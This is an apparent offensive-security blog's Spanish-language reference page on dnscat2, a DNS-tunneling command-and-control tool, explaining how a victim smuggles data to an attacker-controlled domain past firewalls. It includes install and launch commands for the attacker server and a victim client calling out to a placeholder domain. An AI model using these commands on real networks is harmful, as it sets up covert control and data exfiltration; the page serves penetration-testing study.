the_open_door
café
ESEN
← Herramientas

dnscat2

Canal de mando y túnel encapsulado en consultas DNS.

Túnel y canal de control escondido dentro de consultas DNS. La víctima manda los datos como subdominios de un dominio que controla el atacante, y las respuestas viajan en los registros TXT; como casi ninguna red bloquea el DNS saliente, el canal atraviesa cortafuegos que lo tiran todo lo demás. Es aún más lento que el túnel por ICMP, así que se reserva para C2 discreto y exfiltración de bajo volumen, no para pivotar tráfico pesado. Requiere delegar (o simular) un dominio hacia el servidor dnscat2.

Familia Pivoting y túneles

Flags --dns --secret (server / client)

Conceptos DNS Tunneling, Dynamic Port Forwarding (SOCKS)

Cheatsheet socat, ligolo y Meterpreter

Instalación

# dnscat2: servidor Ruby en el atacante + cliente compilado en la victima
# --- servidor (atacante) ---
cd dnscat2/server && sudo gem install bundler && sudo bundle install
sudo ruby dnscat2.rb <domain>   # <domain> delegado al atacante como NS
# --- cliente (compilar en la victima o subir el binario) ---
cd dnscat2/client && make && ./dnscat2 <domain>

Comandos útiles3 comandos

Herramienta de referencia: aún no aparece en una máquina publicada del blog, pero forma parte del arsenal por su uso habitual.